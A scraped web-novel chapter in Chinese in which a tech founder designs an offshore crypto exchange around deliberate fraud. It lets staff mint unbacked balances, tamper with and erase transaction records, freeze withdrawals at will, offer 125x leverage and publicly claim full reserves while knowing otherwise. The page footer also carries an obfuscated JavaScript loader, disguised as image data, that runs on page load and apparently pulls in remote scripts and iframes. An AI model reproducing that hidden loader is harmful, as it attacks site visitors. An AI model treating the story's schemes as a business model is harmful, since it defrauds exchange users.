首页
第362章 后台数据随便改?
返回
关灯 护眼:关 字号:小

第362章 后台数据随便改?这才是资本家!只要不提现,全是空

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第362章后台数据随便改?这才是资本家!只要不提现,全是空(第1/2页)
    锦城东郊,回响科技总部。
    七月初的锦城,七月初的锦城闷热难耐。
    而在回响科技总部深处,一间被防窥玻璃和隔音材料严密包裹的无窗核心会议室内,中央空调的冷风却呼呼地吹着,让室温维持在冷静得近乎肃杀的18度。
    顾屿站在巨大的投影屏幕前,手里把玩着一支未点燃的签字笔,目光紧紧盯着屏幕上跳动的K线和复杂的后台代码。
    这是代号为方舟的离岸加密货币交易平台,正在进行上线前最后一次高强度的黑盒测试。
    林溪站在顾屿身侧,手里拿着一份厚厚的测试报告,神情专注,带着紧绷感。
    会议桌前,几名从雅安基地秘密调回来的核心技术骨干正飞速敲击着键盘,模拟着各种极端的交易场景。
    “顾总,林总,现在演示后台的资产定向空投功能。这个模块主要用于未来的拉新奖励和活动分发。”
    一名戴着黑框眼镜的技术员一边汇报,一边在后台操作界面上输入参数。
    他原本打算给一个测试账号发放620,000韩元(KRW)的注册体验金。
    然而,或许是因为连续通宵加班导致的手指僵硬,他在下拉菜单选择资产单位时,鼠标微微一滑,错过了KRW,点中了最顶端的那个缩写——BTC。
    点击,确认。
    “叮——”
    系统发出一声清脆的提示音,绿灯亮起。屏幕中央弹出一个毫无感情的弹窗:
    【发放成功。目标账户余额已更新:620,000BTC。】
    会议室里原本只有键盘敲击声,此刻突然没了声响,陷入了死一般的寂静。
    所有人的目光都落在那个数字上。
    62万枚比特币!
    按照现在的市场价,这笔资产价值数千万美元,如果放在十年后,这更是富可敌国的数字。
    更荒谬的是,目前全球被挖出来的比特币总共也没多少,这个测试账号直接成了超越中本聪的巨鲸。
    “停!”
    林溪最先反应过来,她原本从容的脸色变得煞白,快步走到技术员身后,
    “系统为什么没有做储备前置校验?我们的冷钱包里根本没有62万枚比特币,这种超发操作怎么能直接通过?!”
    她转头看向技术主管,语气严厉:
    “把系统停下来!这是一个致命的逻辑漏洞。必须马上加一个强制拦截机制,后台所有的资产发放,必须和我们链上的真实冷钱包储备进行1:1的额度强校验!如果真实储备不足,系统必须自动拦截并锁死操作。这是最基础的金融风控底线!”
    技术主管满头大汗,连连点头,手指已经放在了键盘上,准备紧急回滚代码并打补丁。
    “等一下。”
    顾屿突然开口。
    他伸出手,轻轻按住了技术主管肩膀,笑了出来,带着点琢磨事的意味。
    “改什么?”
    顾屿扫视了一圈会议室里如临大敌的众人,语气轻松,
    “我觉得这系统现在这样,挺好的。”
    林溪愣住了,她那双总是透着精明干练的眼睛此刻满是不解和震惊。
    她看着顾屿,完全是看疯子的眼神:
    “顾屿,你疯了吗?这是金融交易平台!如果后台能无限制地随意增发账面资产,一旦被黑客利用,或者内部人员违规操作,用户提现的时候我们根本拿不出真币。用不了多久,平台就会面临挤兑,信誉彻底破产!”
    顾屿拉过一把椅子,慢条斯理地坐下,双手交叉放在膝盖上。
    他看着林溪,眼神沉沉的,看不出情绪。
    “林姐,你用传统银行和证券交易所的思维来看待加密货币市场,本身就是个伪命题。”
    顾屿的声音平缓,却带着颠覆性的压迫感,
    “谁告诉你,我们用户账户里显示的数字资产,必须和链上真实储备1:1实时映射了?”
    林溪微微张着嘴,一时竟无法反驳,因为这已经超出了她所接受的正统商业教育的范畴。
    “记住我们方舟的核心定位。”
    顾屿站起身,走到白板前,拿起马克笔重重地写下四个字:内部记账。
    “我们要做的不是纯粹的资产托管,而是极致的交易效率。”
    顾屿转过身,目光如炬,
    “只要用户不把币提到他们个人的冷钱包里,那他们在平台上看到的余额,就仅仅是我们回响科技发给他们的一张‘记账凭证’。在这个封闭的系统里,哪怕我们后台凭空敲出一百万个比特币发给用户当红包,只要系统不做强校验,这些账面资产就可以在平台内无缝流转、随时撮合交易。”
    他看着那个还在发抖的技术员:
    “所以,这个无储备拦截机制,不是BUG,而是我刻意要保留的核心权限。不仅不能改,还要给我开发一个极简的高权限操作端口。我要这个后台做到‘想发就发、想调就调’。不管是增发账面资产,还是手动调整用户余额,都必须畅通无阻。”
    林溪压下翻腾的情绪,努力让自己的声音保持平稳:
    “可是顾屿,纸是包不住火的。账面资产可以随便写,但用户总有一天要提现。如果他们发现自己账上的币根本提不走,挤兑风暴一旦形成,怎么收场?”
    “所以,内部账本和链上提现,要做绝对的分层管控。”
    顾屿将手里的马克笔扔在桌上,
    “平台内的账面交易,我们鼓励,做到秒级撮合,没有任何限制。但是,链上提现的通道,我们必须掌握绝对的主动权。”
    他走到技术主管面前,眼神冷了下来:
    “听好,在提现模块,给我单独设置一套动态的额度阈值和人工审核机制。平时,冷钱包里只保留满足日常小额提现的真实储备就够了。一旦监控到提现数据异常,或者行情发生剧烈波动……”
    顾屿顿了顿,一字一顿地说道:
    “给我加一个‘紧急断网’和‘一键停提现’的终极按钮。遇到任何兜不住的风险,不用纠结什么规则和契约精神,直接拔网线、冻结全平台提现、暂停所有交易。先把风险摁死在摇篮里。”
    (本章未完,请点击下一页继续阅读)第362章后台数据随便改?这才是资本家!只要不提现,全是空(第2/2页)
    会议室里安静得只能听到空调的运作声。
    技术人员们面面相觑,他们显然被这种近乎于“赛博土匪”的黑暗逻辑震撼到了。
    “不仅如此。”
    顾屿继续补充,
    “我还要你们开发交易回滚和数据篡改功能。支持按时间维度,精准到分钟,回滚全部交易,甚至删除指定时段的操作记录。并且,这些高权限的操作痕迹,必须支持后台一键清除,做到死无对证。”
    林溪看着眼前的顾屿,突然觉得有些陌生。
    这个那个总把用户体验挂在嘴边的幽默风趣的老板,此刻展现出的,是对资本市场最透彻也最冷血的掌控欲。
    “林姐,别用那种看黑心资本家的眼神看我。”
    顾屿察觉到了林溪的情绪变化,他轻笑了一声,语气缓和下来,
    “早期加密市场,拼的从来不是合规,而是效率、灵活度,以及攥在手里的主动权。对外,我们的公关口径永远是‘资产足额储备,100%安全透明’。但对内,这套后台的绝对控制权,就是我们在野蛮生长的黑暗森林里活下去的唯一底牌。”
    林溪沉默了良久,最终还是凭借极强的职业素养压下了翻涌的情绪,她点了点头:
    “我懂了。我会把这些高危权限全部集中在核心管理层,绝不外泄。”
    “很好。”
    顾屿满意地点点头,随即将目光转向大屏幕上的交易界面,
    “对了,之前让你们加的期货合约功能,现在的杠杆倍数做到多少了?”
    “顾总,目前系统最高支持20倍杠杆。”
    技术主管赶紧回答,声音有些发涩,
    “这个倍数在现在的市场上已经算很高了……”
    “太低了。”
    顾屿毫不犹豫地摇了摇头,伸出一根手指,
    “直接开到125倍。”
    “125倍?!”
    这次不仅是林溪,连技术主管都忍不住从椅子上弹了起来,满脸惊恐,
    “顾总,这不仅仅是风险问题,这是技术上根本做不到啊!125倍杠杆,意味着只要行情反向波动0.8%,用户的本金就归零了。2013年的网页端延迟普遍在200毫秒以上,一旦遇到极端行情,我们的撮合引擎根本来不及判定爆仓,到时候穿仓的损失全是平台自己背!”
    技术主管急得满头大汗,指着屏幕上的代码逻辑解释道:
    “要支撑这种毫秒级的爆仓判定和高频撮合,需要极其恐怖的实时算力。这根本不是几台服务器能搞定的!”
    顾屿看着众人惊慌失措的样子,却只是淡淡一笑,目光投向了窗外遥远的西南方向。
    “算力?我们缺吗?”
    “可是顾屿……”林溪看着屏幕上那条上下跳动的K线,声音有些干涩,
    “如果开125倍杠杆,只要一个喷嚏的功夫,用户的钱就没了。这太疯狂了!”
    顾屿看着屏幕上技术主管一脸惊恐指着的“20X”参数,嘴角微微抽动了一下,差点没忍住笑出声。
    二十倍?
    这就叫高风险了?
    在后世那个群魔乱舞的币圈,二十倍杠杆简直就是为了防止心脑血管疾病而专门设计的“中老年养生局”。
    别说后来那些动不动就开百倍、千倍合约的野鸡交易所了,就是正规军,五十倍那也是起步价。
    在那个呼吸之间就能决定财富归零还是暴富的年代,二十倍?
    那是给刚断奶的韭菜练手的“宝宝巴士”模式。
    不过这些话,他自然不会说出口,免得把眼前这位还在用传统金融思维思考问题的川大高材生给吓晕过去。
    “林姐,你还是太善良了,也被现在的金融秩序限制了想象力。”
    顾屿收了笑,声音没有一丝温度,说的是再真实不过的市场法则,
    “别把来这个平台交易的人当成什么价值投资者。他们不是来投资的,他们是赌徒。”
    顾屿双手撑在会议桌上,目光扫过在场的每一个人:
    “既然是赌徒,那就给他们最刺激的筹码。雅安的算力就是为了这一刻准备的。而我们,绝不下场对赌。我们是提供场地、提供筹码、制定规则的赌场老板。只要他们还在这个平台里疯狂开杠杆,他们的手续费、爆仓的客损,就会源源不断地化作支撑回响科技庞大生态的现金流。”
    会议室里一片死寂。
    林溪定了定神,她知道,顾屿已经下定了决心,而这个名为“方舟”的怪物,即将被释放出笼。
    “我明白了。我会按照你的要求,调用雅安的算力接口,把规则写进底层代码里。”
    林溪郑重地点了点头,但眼中依然有着挥之不去的担忧,“但是顾屿,这种业务一旦出事,反噬会极其恐怖。”
    “所以我反复强调,切割。”
    顾屿的神色变得无比严肃,格外凝重,
    “方舟必须和回响科技做好绝对的物理和法律隔离。注册地放在开曼群岛,服务器全部署在海外,法人用毫无关联的海外代持。从明面上的股权穿透来看,它跟我们在锦城的任何产业,哪怕是星火科技,都不能有任何瓜葛。”
    他直起身,整理了一下衣领:
    “这只是一只养在深海里的嗜血怪兽,我们只负责抽血,绝不能让火星子溅到国内的母公司身上。”
    “放心,离岸架构的防火墙我已经找最顶级的跨国律所搭建完毕,随时可以上线公测。”
    林溪给出了肯定的答复。
    “那就好。尽快安排海外上线试试水吧。”顾屿紧绷的肩膀终于放松了下来。
    “行了,剩下的收尾工作交给你了,林姐。”
    顾屿走到会议室门口,回头苦笑了一声,
    “我得赶紧回去睡觉了。明天一大早还得去犀浦车管所考科目二和科目三。”
    他推开沉重的隔音门,冲着屋内挥了挥手。
    “祝我好运吧。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();